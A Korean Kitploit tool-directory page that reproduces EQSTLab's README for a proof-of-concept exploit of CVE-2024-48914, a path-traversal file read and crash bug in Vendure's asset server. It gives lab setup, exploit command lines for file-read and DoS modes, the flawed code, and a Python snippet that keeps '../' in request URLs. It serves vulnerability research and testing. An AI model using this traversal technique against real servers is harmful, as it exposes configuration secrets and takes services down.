Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-48914 — vendure-ecommerce 익스플로잇의 임의 파일 읽기 및 DoS | Kitploit
도구/GitHubGitHub/eqstlab/cve-2024-48914
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubeqstlab/cve-2024-48914

CVE-2024-48914

vendure-ecommerce 익스플로잇의 임의 파일 읽기 및 DoS

저장소 보기
51년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이 게시물은 EQSTLab이 게시한 연구 문서입니다.

이 취약점을 발견해 주신 Rajesh Sharma님께 감사드립니다.

CVE-2024-48914

★ CVE-2024-48914 임의 파일 읽기 및 DoS PoC ★

설명

CVE-2024-48914 : vendure-ecommerce 임의 파일 읽기 및 DoS 취약점

설명: Vendure는 오픈소스 헤드리스 커머스 플랫폼입니다. 3.0.5 및 2.3.3 이전 버전에서 Vendure의 에셋 서버 플러그인에 존재하는 취약점으로 인해 공격자는 서버 파일 시스템을 탐색할 수 있는 요청을 구성하여 구성 파일, 환경 변수, 서버에 저장된 기타 중요 데이터 등 민감한 데이터를 포함한 임의 파일의 내용을 검색할 수 있습니다. 동일한 코드 경로에는 잘못된 형식의 URI를 통해 서버를 충돌시키는 추가적인 벡터도 존재합니다. 패치는 3.0.5 및 2.3.3 버전에서 제공됩니다. 몇 가지 우회 방법도 사용할 수 있습니다. 로컬 파일 시스템 대신 MinIO 또는 S3와 같은 오브젝트 스토리지를 사용하거나, /../가 포함된 URL의 요청을 감지하여 차단하는 미들웨어를 정의할 수 있습니다.

실습 환경 구성

취약한 버전(v3.0.4) 다운로드:

최상위 의존성 설치

root@kitploit:~
npm install

모든 패키지 빌드

root@kitploit:~
npm run build

데이터베이스 및 Elasticsearch 설정

docker-compose.yml

root@kitploit:~
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

실행 명령어

root@kitploit:~
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

사용 방법

Git 클론

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

패키지 설치

root@kitploit:~
pip install -r requirements.txt

명령어

root@kitploit:~
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

출력

CVE-2024-48914.py (임의 파일 읽기) alt text

CVE-2024-48914.py (DoS 공격) alt text alt text

분석

vendure/packages/asset-server-plugin/src/plugin.ts

root@kitploit:~
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

이 취약점은 Node.js에서 path.normalize와 같은 경로 정규화를 수행하지 않고 decodedReqPath를 path.join에 직접 사용하는 데서 비롯됩니다. 이 취약점으로 인해 공격자는 서버 파일 시스템을 탐색할 수 있는 요청을 구성하여, 구성 파일, 환경 변수 및 서버에 저장된 기타 중요 데이터와 같은 민감한 데이터를 포함한 임의 파일의 내용을 검색할 수 있습니다.

Python 팁

Python requests 모듈을 사용하면 URL 경로에서 "../"가 제거됩니다. 아래와 같이 "prepared requests"를 사용하면 URL 경로에서 "../"가 제거되지 않은 채로 Python requests 모듈을 사용할 수 있습니다.

root@kitploit:~
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

면책 조항

이 저장소는 CVE-2024-48914에 대한 임의 파일 읽기 또는 DoS 익스플로잇을 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.

참고 자료

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

도구 다운로드